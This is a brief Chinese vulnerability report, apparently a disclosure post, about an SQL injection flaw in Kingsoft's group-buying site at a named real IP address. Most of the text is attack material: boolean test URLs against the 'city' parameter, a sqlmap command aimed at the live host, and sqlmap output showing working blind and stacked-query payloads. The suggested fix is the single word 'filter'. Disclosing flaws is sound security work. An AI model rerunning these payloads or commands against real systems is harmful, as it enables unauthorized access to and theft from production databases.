金山某业务系统存在SQL注入漏洞
金山某业务系统存在SQL注入漏洞
金山团购,猎豹团购
http://m.tuan.duba.com/
http://114.112.68.203/
http://tuan.duba.com
注入点:
http://114.112.68.203/?city=1 and 1=1
http://114.112.68.203/?city=1 and 1=2
python sqlmap.py -u 'http://114.112.68.203/?city=1' _ ___ ___| |_____ ___ ___ {1.0-dev-8e03f4d} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:48:40 [12:48:41] [INFO] resuming back-end DBMS 'mysql' [12:48:41] [INFO] testing connection to the target URL [12:48:43] [INFO] heuristically checking if the target is protected by some kind of WAF/IPS/IDS [12:48:44] [INFO] it appears that the target is not protected sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Parameter: city (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: city=1) AND 7858=7858 AND (7211=7211 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: city=1); SELECT SLEEP(5)-- --- [12:48:44] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5.0.11
解决方案:
过滤